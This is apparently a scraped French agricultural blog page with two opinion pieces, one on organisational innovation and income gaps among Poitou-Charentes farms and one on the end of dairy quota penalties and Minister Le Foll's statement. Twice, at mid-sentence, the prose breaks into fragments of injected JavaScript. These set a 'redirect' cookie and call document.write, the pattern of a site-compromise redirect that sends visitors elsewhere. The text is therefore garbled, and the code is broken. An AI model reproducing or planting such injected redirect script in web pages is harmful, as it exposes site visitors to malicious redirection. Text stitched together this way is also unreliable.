En agriculture, l’innovation n’est pas simplement technologique.

Contrairement à ce que l’opinion extérieure au milieu agricole puisse penser, c’est certainement dans ce métier que la résistance aux changements technologiques est la plus faible. Rappelons-nous la gourmandise avec laquelle les agriculteurs ont intégré les outils informatiques dans leurs fermes, notamment la comptabilité ou le suivi des troupeaux.
En 1990-1991 plus de la moitié des adhérents des CERFRANCE du Poitou-Charentes saisissaient leurs pièces comptables informatiquement, grâce à la mise à disposition d’ordinateurs. En 2013, la totalité des fermes sont équipées, connectées à internet. L’informatique est embarquée dans les tracteurs, au cou des vaches, bref, la campagne est devenue high tech et reliée au monde entier. La généralisation du téléphone portable et aujourd’hui des outils ultra communicants comme les smartphones complètent la panoplie de l’ère de la communication globale.
Ces technologies accompagnent les agriculteurs dans le pilotage de leurs entreprises, accélèrent la transmission de l’information, gardent le contact avec les associés, la famille, les partenaires. La diminution du nombre d’agriculteurs dans la campagne modifie les modes de communication. La relation directe, à vue d’oeil, est remplacée par une relation à distance mais le contact oral reste ; on se parle, sans se voir.

Pour une innovation dans les performances économiques

Pourtant, ces technologies ne doivent pas faire oublier qu’il reste des espaces d’innovation souvent moins visibles mais plus efficaces sur la performance économique. La première est celle qui touche à la productivité du travail, que l’on appelle innovation organisationnelle. Dans ce milieu très indépendant, la codification des tâches, l’efficience du temps travaillé, le rapport entre temps de travail et performance économique ont été peu étudiés. En clair les innovations ont plus porté sur les moyens de production que sur l’acte de production réalisé par le producteur. Les analyses des derniers travaux des CERFRANCE sur les résultats économiques par système de production en témoignent.
Jusqu’au milieu des années 1990, les écarts de revenu par unité de main-d’oeuvre s’expliquaient par des moyens de production supérieurs (plus de vaches, plus de lait, plus d’hectares de céréales… et des conditions agronomiques plus favorables). Vingt ans plus tard, le revenu par travailleur dans les exploitations céréalières du Poitou-Charentes vont de 5 734 € pour le quart inférieur des moins bons revenus à 80 605 € pour le quart supérieur des meilleurs revenus, alors que les surfaces cultivées par travailleur évoluent dans le même temps de 94 ha à 145 ha, soit un écart de revenu de 1 à 8 entre les deux groupes !
En système laitier spécialisé, les revenus passent de 3 800 € par travailleur à 49 300 € dans le groupe de tête, alors que le nombre de vaches n’évolue que de 67 à 76 vaches laitières, soit un modeste écart de +15 % en moyens de production. Les revenus du quartile supérieur sont 10 fois plus importants que ceux du quartile inférieur ! Les inégalités de revenu se creusent alors que les moyens de production sont plus homogènes.
C’est donc la compétence, le métier, l’efficience et l’organisation qui font toute la différence. Un sujet explosif pour la profession agricole ! Et pour les chercheurs, les conseillers techniques et tous ceux qui sont en charge de la transmission des savoir-faire en agriculture. Un sujet brûlant aussi pour le ministère de l’Agriculture, car il pose clairement l’utilité des aides à l’agriculture. Est-ce que l’on soutient les meilleurs ? Ou les moins compétents pour qu’ils améliorent leurs performances ?

Des aides publiques qui n’incitent pas à l’innovation ?

Observons que dans les filières moins bénéficiaires des aides publiques (fruits et légumes, porcs, volailles…), les innovations organisationnelles ont été le passage obligé du maintien ou de l’amélioration de la performance dans ces productions. D’ailleurs, les producteurs qui n’ont pas intégré cette dimension de compétence et de savoirfaire ne sont plus là…
On peut donc penser que les aides à l’agriculture ont été un anesthésiant dans certains processus d’innovation, notamment dans la conduite des ateliers laitiers, céréaliers, bovins… Pourtant, les innovations
organisationnelles existent, mais elles ne se diffusent pas, elles restent chez ceux qui, dans leurs fermes, expérimentent au jour le jour, ceux qui mettent en place les savoir-faire de demain, les adaptations qui font la différence. Il faut repérer les « Géo Trouvetout », les astucieux. L’innovation existe, dans les fermes mais plus dans les labos, et la vulgarisation n’est plus la…
C’est peut-être le challenge des politiques agricoles de retrouver la voie de la vulgarisation, d’inventorier tout cet espace d’innovations éparpillées et de le mettre à disposition des agriculteurs.
La plus grande distorsion entre agriculteurs aujourd’hui est d’abord dans l’acquisition de nouveaux savoir-faire et l’ad 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘

Fin des pénalités laitières : Sujet politique ou économique ?

L’ouverture officielle d’une enquête de la Commission Européenne sur le système de pénalité fiscale, appelée taxe France AGRIMER, en cas de dépassement individuel du quota laitier semble précipiter certaines décisions. Sans en attendre les conclusions de l’enquête, dont l’issue semble certaine, le Ministre LE FOLL préfère anticiper.

Le fait de prendre acte par anticipation d’une décision contraire à cette pratique est à l’honneur du Ministre de l’Agriculture, mais la seconde partie du communiqué officiel laisse dubitatif.

« Il est impératif de développer des mécanismes alternatifs permettant de faire face à des excédents d’offre conjoncturels » a déclaré le Ministre de l’agriculture Stéphane LE FOLL. « J’ai écrit au Commissaire pour lui demander de réfléchir, dans le cadre de la réforme de la PAC, à un mécanisme de stabilisation communautaire dans le secteur laitier ».

Un courrier en trompe l’œil

Stéphane LE FOLL, Parlementaire européen de 2004 à 2012 et grand spécialiste des questions agricoles, connaît parfaitement l’équilibre politique  sur ce sujet au parlement européen et au sein du conseil européen, et il ne peut croire un instant qu’un nouveau mécanisme de régulation s’imposant à toute l’Europe laitière pourra voir le jour alors que certains producteurs européens ont actuellement les deux pieds sur le frein qu’ils repositionneront sur l’accélérateur dès le printemps 2015.

La suite du communiqué est encore plus irréelle …

« Dans l’attente de la réforme et afin d’éviter un déséquilibre de marché pour la campagne en cours, le Ministre appelle les laiteries coopératives et privées et les producteurs à mettre en place rapidement des mesures ayant un effet équivalent à celui de la taxe fiscale sur les dépassements individuels de quotas laitiers. Le cadre législatif sur le lait entré en vigueur en mars 2012 au niveau européen rend désormais possible une telle mesure dans le cadre des contrats entre éleveurs et acheteur, qui pourront être révisés à cet effet.

Une question d’économie : Comment peut-on imaginer que la limitation de la production française puisse avoir un effet sur le prix du lait dans un marché commun européen de plus en plus ouvert sur le Monde ?

Ne risque-t-on pas de faire une nouvelle fois le jeu des producteurs des autres Etats-Membres qui cumuleront le prix et le volume ?

La  « pénalité LACTALIS », reconnue d’utilité publique

Pour le coup,  LACTALIS doit se réjouir de cet appel, puisque son mécanisme de pénalité contractuelle en cas de dépassement  vient de recevoir un agrément quasi officiel. Le leader français n’en avait d’ailleurs pas besoin. Sa stratégie est claire : Il n’entend pas à l’avenir collecter plus de lait que ce qu’il est en mesure de valoriser et mise sur une arme de dissuasion massive. Cette pratique est d’ailleurs moins défavorable « économiquement » pour le producteur que certaines possibilités de suspensions de collecte prévues dans  certains contrats, mais quasiment passées inaperçues.

Qu’une entreprise  souhaite border sa collecte en lien avec sa propre stratégie se conçoit, mais il est plus surprenant que cet appel serve de cap à la politique laitière française.

Ce nouveau « psychodrame » illustre une fois de plus le décalage croissant entre la vision de l’Agriculture depuis Paris et celle qu’on peut avoir depuis Bruxelles. Si ce communiqué  répond très certainement à des objectifs politiques,  il apparaît  comme une négation de l’économie de marché.

Alors que sur le terrain de nombreux producteurs laitiers ont déjà intégré la dérégulation de l’économie laitière et qu’ils s’y préparent, il est étonnant de voir les pouvoirs publics devenir des relais d’opinions de certaines organisations professionnelles.

Comme souvent, la France apparaît regretter l’ancien temps ou l’ancienne PAC, et qu’à chaque décision minime ou réforme profonde, elle met tout en œuvre pour en retarder le processus et tenter d’en limiter les effets. Au bout du compte Il n’est pas sûr que cette vision frileuse ne desserve pas plus les intérêts de ceux qu’elle est sensée défendre. La question de la compétitivité dont on nous rebat les oreilles devrait trouver sa place dans cette réflexion.

Le rapport sur la contractualisation dans le secteur agricole remis au Ministre de l’Agrirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘